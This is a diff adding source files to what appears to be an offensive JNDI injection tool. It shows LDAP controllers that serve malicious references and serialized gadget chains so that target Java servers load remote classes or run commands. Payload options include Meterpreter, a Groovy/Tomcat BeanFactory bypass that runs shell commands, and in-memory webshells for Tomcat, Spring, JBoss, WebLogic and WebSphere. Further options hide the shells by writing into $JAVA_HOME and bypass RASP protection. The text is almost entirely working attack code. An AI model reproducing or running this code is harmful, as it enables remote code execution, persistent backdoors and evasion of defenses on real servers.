System.err.println(" " + line); + } + + System.err.println("\r\n"); + HelpFormatter helpFormatter = new HelpFormatter(); + helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth())); + helpFormatter.printHelp("JNDIExploit-[version].jar", options, true); + + System.err.println("\r\n"); + System.err.println("Recommended Usage: -yso -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser"); + System.err.println("If you want your payload being extremely short,you could just use:"); + System.err.println("java -jar JNDIExploit-[version].jar -yso -g [payload] -p '[command]' -i -f evil.ser"); + System.exit(0); + } +} diff --git a/src/main/java/com/qi4l/jndi/controllers/BasicController.java b/src/main/java/com/qi4l/jndi/controllers/BasicController.java new file mode 100644 index 00000000..4ed06773 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/BasicController.java @@ -0,0 +1,478 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.GadgetType; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.InjShell; +import com.qi4l.jndi.gadgets.utils.Util; +import com.qi4l.jndi.template.*; +import com.qi4l.jndi.template.memshell.BypassNginxCDN.cmsMSBYNC; +import com.qi4l.jndi.template.memshell.BypassNginxCDN.proxyMSBYNC; +import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJproxy; +import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJser; +import com.qi4l.jndi.template.memshell.Websphere.WSFMSFromThread; +import com.qi4l.jndi.template.memshell.Websphere.WSWebsphereProxy; +import com.qi4l.jndi.template.memshell.Websphere.WebsphereMemshellTemplate; +import com.qi4l.jndi.template.memshell.Websphere.websphereEcho; +import com.qi4l.jndi.template.echo.*; +import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF; +import com.qi4l.jndi.template.memshell.jboss.JBSMSFromContextS; +import com.qi4l.jndi.template.echo.JbossEcho; +import com.qi4l.jndi.template.memshell.jetty.JFMSFromJMXF; +import com.qi4l.jndi.template.memshell.jetty.JSMSFromJMXS; +import com.qi4l.jndi.template.echo.jettyEcho; +import com.qi4l.jndi.template.memshell.resin.RFMSFromThreadF; +import com.qi4l.jndi.template.memshell.resin.RSMSFromThreadS; +import com.qi4l.jndi.template.echo.resinEcho; +import com.qi4l.jndi.template.memshell.resin.WsResin; +import com.qi4l.jndi.template.memshell.spring.SpringControllerMS; +import com.qi4l.jndi.template.memshell.spring.SpringInterceptorMS; +import com.qi4l.jndi.template.memshell.struts2.Struts2ActionMS; +import com.qi4l.jndi.template.echo.weblogicEcho; +import com.qi4l.jndi.gadgets.utils.ClassNameUtils; +import com.qi4l.jndi.gadgets.utils.HexUtils; +import com.qi4l.jndi.template.memshell.tomcat.*; +import com.qi4l.jndi.template.memshell.weblogic.WsWeblogic; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.commons.cli.*; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.codec.binary.Base64; + +import java.net.URL; + +import static com.qi4l.jndi.gadgets.utils.InjShell.*; +import static org.fusesource.jansi.Ansi.ansi; + +/** + * 本地工厂类加载路由 + */ +@LdapMapping(uri = {"/basic"}) +public class BasicController implements LdapController { + //最后的反斜杠不能少 + private final String codebase = Config.codeBase; + private static PayloadType payloadType; + private String[] params; + private GadgetType gadgetType; + public static CommandLine cmdLine; + + /** + * 发送LDAP资源引用结果和基本远程参考负载。 + * + * @param result InMemoryInterceptedSearchResult类型,拦截的查询结果。 + * @param base String类型,基本的LDAP路径。 + * @throws Exception + */ + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + System.out.println(ansi().render("@|green [+]|@ Sending LDAP ResourceRef result for" + base + " with basic remote reference payload")); + Entry e = new Entry(base); + String className = ""; + CtClass ctClass; + ClassPool pool; + + // 根据不同的负载类型,设置className并处理 + switch (payloadType) { + case command: + CommandTemplate commandTemplate = new CommandTemplate(params[0]); + commandTemplate.cache(); + className = commandTemplate.getClassName(); + break; + case meterpreter: + className = Meterpreter.class.getName(); + break; + case tomcatecho: + className = TomcatEcho.class.getName(); + break; + case springecho: + className = SpringEcho.class.getName(); + break; + case weblogicecho: + className = weblogicEcho.class.getName(); + break; + case websphereecho: + className = websphereEcho.class.getName(); + break; + case resinecho: + className = resinEcho.class.getName(); + break; + case jbossecho: + className = JbossEcho.class.getName(); + break; + case windowsecho: + className = WindowsEcho.class.getName(); + break; + case linuxecho1: + className = LinuxEcho1.class.getName(); + break; + case linuxecho2: + className = LinuxEcho2.class.getName(); + break; + case jettyecho: + className = jettyEcho.class.getName(); + break; + case allecho: + className = AllEcho.class.getName(); + break; + case cmsmsbync: + className = cmsMSBYNC.class.getName(); + break; + case proxymsbync: + className = proxyMSBYNC.class.getName(); + break; + case wsresin: + className = WsResin.class.getName(); + break; + case mstsjser: + className = MsTSJser.class.getName(); + break; + case mstsjproxy: + className = MsTSJproxy.class.getName(); + break; + case wsweblogic: + className = WsWeblogic.class.getName(); + break; + case wswebsphereproxy: + className = WSWebsphereProxy.class.getName(); + break; + case tomcatfilterjmx: + className = structureShell(TSMSFromJMXF.class); + break; + case tomcatfilterth: + className = structureShell(TFMSFromThreadF.class); + break; + case tomcatlistenerjmx: + className = structureShell(TLMSFromJMXLi.class); + break; + case tomcatlistenerth: + className = structureShell(TFMSFromThreadLi.class); + break; + case tomcatservletjmx: + className = structureShell(TSMSFromJMXS.class); + break; + case tomcatservletth: + className = structureShell(TFMSFromThreadS.class); + break; + case jbossfilter: + className = structureShell(JBFMSFromContextF.class); + break; + case jbossservlet: + className = structureShell(JBSMSFromContextS.class); + break; + case webspherememshell: + className = WebsphereMemshellTemplate.class.getName(); + break; + case springinterceptor: + className = structureShell(SpringInterceptorMS.class); + break; + case springcontroller: + className = structureShell(SpringControllerMS.class); + break; + case issuccess: + className = isSuccess.class.getName(); + break; + case jettyfilter: + className = structureShell(JFMSFromJMXF.class); + break; + case jettyservlet: + className = structureShell(JSMSFromJMXS.class); + break; + case struts2actionms: + className = structureShell(Struts2ActionMS.class); + break; + case wsfilter: + Config.init(); + pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(WSFMSFromThread.class)); + ctClass = pool.get(WSFMSFromThread.class.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "ws"); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + className = insertWinAgent(ctClass); + ctClass.writeFile(); + break; + } + if (Config.linAgent) { + className = insertLinAgent(ctClass); + ctClass.writeFile(); + break; + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + className = newClass.getName(); + newClass.writeFile(); + break; + } + } + className = ctClass.getName(); + ctClass.writeFile(); + break; + case tomcatexecutor: + Config.init(); + pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(TWSMSFromThread.class)); + ctClass = pool.get(TWSMSFromThread.class.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "execute"); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + className = insertWinAgent(ctClass); + ctClass.writeFile(); + break; + } + if (Config.linAgent) { + className = insertLinAgent(ctClass); + ctClass.writeFile(); + break; + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + className = newClass.getName(); + newClass.writeFile(); + break; + } + } + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + ctClass.setSuperclass(superClass); + } + className = ctClass.getName(); + ctClass.writeFile(); + break; + case resinfilterth: + className = structureShell(RFMSFromThreadF.class); + break; + case resinservletth: + className = structureShell(RSMSFromThreadS.class); + break; + case tomcatupgrade: + Config.init(); + pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(TUGMSFromJMXuP.class)); + ctClass = pool.get(TUGMSFromJMXuP.class.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "upgrade"); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + className = insertWinAgent(ctClass); + ctClass.writeFile(); + break; + } + if (Config.linAgent) { + className = insertLinAgent(ctClass); + ctClass.writeFile(); + break; + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + className = newClass.getName(); + newClass.writeFile(); + break; + } + } + className = ctClass.getName(); + ctClass.writeFile(); + break; + } + + URL turl = new URL(new URL(this.codebase), className + ".class"); + System.out.println(ansi().render("@|green [+]|@ Send LDAP reference result for " + base + " redirecting to" + turl)); + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaCodeBase", this.codebase); + e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ + if (className.equals("com.feihong.ldap.template.Meterpreter")) { + e.addAttribute("javaFactory", "Meterpreter"); + } + e.addAttribute("javaFactory", className); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + + } + + /** + * 处理传入的参数 base + * + * @param base 传入的参数 + * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常 + * @throws IncorrectParamsException 错误的参数异常 + */ + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + // 将类型值设为从第一个斜杠后的字符串到第二个斜杠前(不包括第二个斜杠)所表示的字符串转换为 PayloadType 枚举类型 + payloadType = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase()); + System.out.println(ansi().render("@|green [+]|@ PaylaodType >> " + payloadType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + base.substring(fistIndex + 1, secondIndex)); + } + + // 获取第三个斜杠的索引 + int thirdIndex = base.indexOf("/", secondIndex + 1); + // 如果第三个斜杠为空,则执行以下语句块 + if (thirdIndex != -1) { + // 如果第三个斜杠小于0,则将其设置为字符串长度 + if (thirdIndex < 0) thirdIndex = base.length(); + try { + // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 GadgetType 枚举类型 + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + // 如果载荷类型为 shell,则执行以下语句块 + if (gadgetType == GadgetType.shell) { + String arg = Util.getCmdFromBase(base); + String[] args = arg.split(" "); + Options options = new Options(); + options.addOption("t", "typefggg", false, "选择内存马的类型"); + options.addOption("a", "AbstractTranslet", false, "是否继承恶意类 AbstractTranslet"); + options.addOption("o", "obscure", false, "使用反射绕过"); + options.addOption("w", "winAgent", false, "Windows下使用Agent写入"); + options.addOption("l", "linAgent", false, "Linux下使用Agent写入"); + options.addOption("u", "url", true, "内存马绑定的路径,default [/version.txt]"); + options.addOption("pw", "password", true, "内存马的密码,default [p@ssw0rd]"); + options.addOption("r", "referer", true, "内存马 Referer check,default [https://nu1r.cn/]"); + options.addOption("h", "hide-mem-shell", false, "通过将文件写入$JAVA_HOME来隐藏内存shell,目前只支持SpringController"); + options.addOption("ht", "hide-type", true, "隐藏内存外壳,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/"); + + CommandLineParser parser = new DefaultParser(); + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + } + + if (cmdLine.hasOption("typefggg")) { + Config.Shell_Type = cmdLine.getOptionValue("typefggg"); + //System.out.println("[+] 内存shell :" + Shell_Type); + } + + if (cmdLine.hasOption("winAgent")) { + Config.winAgent = true; + System.out.println(ansi().fgRgb(188, 232, 105).render("[+] Windows下使用Agent写入")); + } + + if (cmdLine.hasOption("linAgent")) { + Config.winAgent = true; + System.out.println(ansi().fgRgb(188, 232, 105).render("[+] Linux下使用Agent写入")); + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + System.out.println(ansi().fgRgb(188, 232, 105).render("[+] 使用反射绕过RASP")); + } + + if (cmdLine.hasOption("url")) { + String url = cmdLine.getOptionValue("url"); + if (!url.startsWith("/")) { + url = "/" + url; + } + Config.URL_PATTERN = url; + System.out.println("[+] Path:" + Config.URL_PATTERN); + } + + if (cmdLine.hasOption("password")) { + Config.PASSWORD = HexUtils.generatePassword(cmdLine.getOptionValue("password")); + System.out.println("[+] Password:" + Config.PASSWORD); + } + + if (cmdLine.hasOption("referer")) { + Config.HEADER_KEY = cmdLine.getOptionValue("referer"); + System.out.println("[+] referer:" + Config.HEADER_KEY); + } + + if (cmdLine.hasOption("AbstractTranslet")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + System.out.println("[+] 继承恶意类AbstractTranslet"); + } + + if (cmdLine.hasOption("hide-mem-shell")) { + Config.HIDE_MEMORY_SHELL = true; + + if (cmdLine.hasOption("hide-type")) { + Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); + } + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+]|@ Command >> " + cmd)); + params = new String[]{cmd}; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java b/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java new file mode 100644 index 00000000..522edf64 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java @@ -0,0 +1,80 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import javax.naming.StringRefAddr; + +import static org.fusesource.jansi.Ansi.ansi; + +/* + * Requires: + * - Tomcat and Groovy in classpath + * + * @author https://twitter.com/orange_8361 and https://github.com/welk1n + * + * Groovy 语法参考: + * - https://xz.aliyun.com/t/8231#toc-7 + * - https://my.oschina.net/jjyuangu/blog/1815945 + * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails + */ + +@LdapMapping(uri = { "/groovybypass" }) +public class GroovyBypassController implements LdapController { + private PayloadType type; + private String[] params; + private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + + " ['cmd','/C', '${cmd}'].execute();\n" + + " } else {\n" + + " ['/bin/sh','-c', '${cmd}'].execute();\n" + + " }"; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base + " @|MAGENTA with groovy.lang.GroovyShell payload|@")); + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); + ref.add(new StringRefAddr("forceString", "x=evaluate")); + ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); + + e.addAttribute("javaSerializedData", Util.serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try{ + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if(secondIndex < 0) secondIndex = base.length(); + + String payloadType = base.substring(firstIndex + 1, secondIndex); + if(payloadType.equalsIgnoreCase("command")){ + type = PayloadType.valueOf("command"); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type)); + }else{ + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); + } + + String cmd = Util.getCmdFromBase(base); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd)); + params = new String[]{cmd}; + }catch(Exception e){ + if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/LdapController.java b/src/main/java/com/qi4l/jndi/controllers/LdapController.java new file mode 100644 index 00000000..3ade1cde --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/LdapController.java @@ -0,0 +1,12 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedActionTypeException; +import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; + +public interface LdapController { + void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; + void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; +} diff --git a/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java b/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java new file mode 100644 index 00000000..60965522 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java @@ -0,0 +1,12 @@ +package com.qi4l.jndi.controllers; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface LdapMapping { + String[] uri(); +} diff --git a/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java b/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java new file mode 100644 index 00000000..3dcd1d21 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java @@ -0,0 +1,19 @@ +package com.qi4l.jndi.controllers; + +import javax.naming.RefAddr; +import java.util.Properties; + +//this is a stub class required by WebSphere2 ldap handler +public class PropertiesRefAddr extends RefAddr { + private static final long serialVersionUID = 288055886942232156L; + private Properties props; + + public PropertiesRefAddr(String addrType, Properties props) { + super(addrType); + this.props = props; + } + + public Object getContent() { + return this.props; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java b/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java new file mode 100644 index 00000000..5ddd276d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java @@ -0,0 +1,166 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.controllers.utils.AESUtils; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.ObjectPayload; +import com.qi4l.jndi.gadgets.utils.Serializer; +import com.qi4l.jndi.gadgets.utils.Util; +import com.qi4l.jndi.gadgets.Config.Config; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.commons.cli.CommandLine; +import org.apache.commons.cli.CommandLineParser; +import org.apache.commons.cli.DefaultParser; +import org.apache.commons.cli.Options; + +import java.io.ByteArrayOutputStream; + +import static com.qi4l.jndi.gadgets.Config.Config.AESkey; +import static com.qi4l.jndi.gadgets.Config.Config.BCEL1; +import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode; +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/deserialization"}) +public class SerializedDataController implements LdapController { + public static String gadgetType; + private PayloadType payloadType; + private String[] params; + public static CommandLine cmdLine; + private static final int USAGE_CODE = 64; + + /** + * 发送LDAP结果和重定向URL + * + * @param result InMemoryInterceptedSearchResult类型的结果 + * @param base 基本远程参考负载字符串 + * @throws Exception 异常 + */ + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + System.out.println(ansi().render("@|green [+]|@Send LDAP result for" + base + " with javaSerializedData attribute")); + Entry e = new Entry(base); + + byte[] bytes; + + try { + // 获取与载荷类型相关的有效负载类 + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(String.valueOf(gadgetType)); + // 实例化有效负载对象 + ObjectPayload payload = payloadClass.newInstance(); + // 获取有效负载的对象 + Object object = payload.getObject(payloadType, params); + + if (SerializedDataController.gadgetType.equals("JRE8u20")) { + bytes = (byte[]) object; + } else { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + bytes = Serializer.serialize(object, out); + } + + // 设置Java类名属性和Java序列化数据属性,并将搜索条目发送至结果中 + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaSerializedData", bytes); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + // 如果生成或序列化有效负载时出现错误,则打印错误信息和堆栈跟踪 + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + /** + * 处理传入的参数 base + * + * @param base 传入的参数 + * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常 + * @throws IncorrectParamsException 错误的参数异常 + * @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常 + */ + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { + try { + base = base.replace('\\', '/'); + // 获取第一个斜杠的索引 + int firstIndex = base.indexOf("/"); + // 获取第二个斜杠的索引 + int secondIndex = base.indexOf("/", firstIndex + 1); + try { + // 将类型值设为从第一个斜杠后的字符串到第二个斜杠前(不包括第二个斜杠)所表示的字符串 + gadgetType = base.substring(firstIndex + 1, secondIndex); + System.out.println("[+] GaddgetType >> " + gadgetType); + } catch (IllegalArgumentException e) { + throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex)); + } + + // 获取第三个斜杠的索引 + int thirdIndex = base.indexOf("/", secondIndex + 1); + // 若第三个斜杠不存在,则把其设置成为字符串的长度 + if (thirdIndex < 0) thirdIndex = base.length(); + try { + // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 + payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex)); + //System.out.println("[+] PayloadType >> " + payloadType); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + + if (payloadType == PayloadType.sethttp) { + params = new String[]{BCEL1}; + System.out.println("[+] command:" + BCEL1); + } + + // 如果载荷类型为 nu1r,则执行以下语句块 + if (payloadType == PayloadType.command) { + String cmd11 = Util.getCmdFromBase(base); + if (cmd11.contains("#")) { + String[] cmd11s = cmd11.split("#"); + String[] cmd12s = cmd11s[1].split(" "); + Options options = new Options(); + options.addOption("a", "AbstractTranslet", false, "恶意类是否继承 AbstractTranslet"); + options.addOption("o", "obscure", false, "使用反射绕过"); + options.addOption("j", "jboss", false, "Using JBoss ObjectInputStream/ObjectOutputStream"); + CommandLineParser parser = new DefaultParser(); + + try { + cmdLine = parser.parse(options, cmd12s); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + } + + params = new String[]{cmd11s[0]}; + System.out.println("[+] command:" + cmd11s[0]); + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + System.out.println(ansi().render("@|green [+]|@ 使用反射绕过RASP ")); + } + + if (cmdLine.hasOption("AbstractTranslet")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + System.out.println("[+] 继承恶意类AbstractTranslet"); + } + + if (cmdLine.hasOption("jboss")) { + Config.IS_JBOSS_OBJECT_INPUT_STREAM = true; + } + } else { + params = new String[]{cmd11}; + System.out.println("[+] command:" + cmd11); + } + + } + + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java new file mode 100644 index 00000000..7eeb132f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java @@ -0,0 +1,650 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.GadgetType; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.utils.InjShell; +import com.qi4l.jndi.template.*; +import com.qi4l.jndi.template.Agent.WinMenshell; +import com.qi4l.jndi.template.memshell.BypassNginxCDN.cmsMSBYNC; +import com.qi4l.jndi.template.memshell.BypassNginxCDN.proxyMSBYNC; +import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJproxy; +import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJser; +import com.qi4l.jndi.template.memshell.Websphere.WSFMSFromThread; +import com.qi4l.jndi.template.memshell.Websphere.WSWebsphereProxy; +import com.qi4l.jndi.template.memshell.Websphere.websphereEcho; +import com.qi4l.jndi.template.echo.*; +import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF; +import com.qi4l.jndi.template.memshell.jboss.JBSMSFromContextS; +import com.qi4l.jndi.template.echo.JbossEcho; +import com.qi4l.jndi.template.memshell.jetty.JFMSFromJMXF; +import com.qi4l.jndi.template.memshell.jetty.JSMSFromJMXS; +import com.qi4l.jndi.template.echo.jettyEcho; +import com.qi4l.jndi.template.memshell.resin.RFMSFromThreadF; +import com.qi4l.jndi.template.memshell.resin.RSMSFromThreadS; +import com.qi4l.jndi.template.echo.resinEcho; +import com.qi4l.jndi.template.memshell.resin.WsResin; +import com.qi4l.jndi.template.memshell.spring.SpringControllerMS; +import com.qi4l.jndi.template.memshell.spring.SpringInterceptorMS; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Util; +import com.qi4l.jndi.template.echo.weblogicEcho; +import com.qi4l.jndi.gadgets.utils.ClassNameUtils; +import com.qi4l.jndi.gadgets.utils.HexUtils; 